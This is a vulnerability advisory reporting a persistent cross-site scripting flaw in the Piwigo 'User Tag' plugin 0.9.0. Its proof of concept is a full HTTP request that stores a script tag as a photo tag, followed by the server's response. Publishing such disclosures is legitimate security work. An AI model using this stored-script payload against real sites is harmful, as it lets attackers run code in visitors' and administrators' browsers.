99 lines
No EOL
2.8 KiB
Text
99 lines
No EOL
2.8 KiB
Text
# Exploit Title: Piwigo plugin User Tag , Persistent XSS
|
|
# Date: 10 Aug, 2017
|
|
# Extension Version: 0.9.0
|
|
# Software Link: http://piwigo.org/basics/downloads
|
|
# Extension link : http://piwigo.org/ext/extension_view.php?eid=441
|
|
# Exploit Author: Touhid M.Shaikh
|
|
# Contact: http://twitter.com/touhidshaikh22
|
|
# Website: http://touhidshaikh.com/
|
|
# Category: webapps
|
|
|
|
|
|
######## Description ########
|
|
<!--
|
|
What is Piwigo ?
|
|
Piwigo is photo gallery software for the web, built by an active
|
|
community of users and developers.Extensions make Piwigo easily
|
|
customizable.Piwigo is a free and open source.
|
|
|
|
User Tag Extension in piwigo.
|
|
This plugin extends piwigo with the function to Allow visitors to add
|
|
tags to photos.
|
|
|
|
|
|
|
|
############ Requrment ##############
|
|
|
|
Admin Must allow to user or guest for a tag in User Tag plugin option.
|
|
|
|
|
|
######## Attact Description ########
|
|
<!--
|
|
|
|
User Tag Extension provides additional function on photo page for the
|
|
user to tag any name of that image.
|
|
|
|
|
|
NOTE: "test.touhidshaikh.com" this domain not registered on the internet.
|
|
This domain host on local machine.
|
|
|
|
==>START<==
|
|
Any guest visitor or registered user can perform this.
|
|
|
|
User Tag Extension adds an additional field(Keyword) on photo pages that
|
|
let you tag a User Tag on the picture for visitor and registered user.
|
|
|
|
click on that Field after that fill input text box with malicious code
|
|
javascript and press Enter its stored as a User Tag keyword.
|
|
|
|
Your Javascript Stored in Server's Database and execute every time when any
|
|
visitor visit that photo.
|
|
|
|
|
|
NOte: This is also executed in admin's dashboard when admin visit keyword
|
|
page.
|
|
|
|
-->
|
|
|
|
######## Proof of Concept ########
|
|
|
|
|
|
*****Request*****
|
|
|
|
POST /ws.php?format=json&method=user_tags.tags.update HTTP/1.1
|
|
Host: test.touhidshaikh.com
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101
|
|
Firefox/54.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Referer: http://test.touhidshaikh.com/picture.php?/4/category/1
|
|
Content-Length: 83
|
|
Cookie: _ga=GA1.2.392572598.1501252105; pwg_id=gsf3gp640oupaer3cjpnl22sr0
|
|
Connection: close
|
|
|
|
image_id=4&referer=picture.php%3F%2F4%2Fcategory%2F1&tags=<script>prompt()</script>
|
|
|
|
**************************************************
|
|
|
|
******Response********
|
|
HTTP/1.1 200 OK
|
|
Date: Thu, 10 Aug 2017 11:36:24 GMT
|
|
Server: Apache/2.4.27 (Debian)
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Content-Length: 46
|
|
Connection: close
|
|
Content-Type: text/plain; charset=utf-8
|
|
|
|
{"stat":"ok","result":{"info":"Tags updated"}}
|
|
|
|
****************************************************
|
|
|
|
|
|
####################################################
|
|
|
|
|
|
Greetz: Thank You, All my Friends who support me. ;) |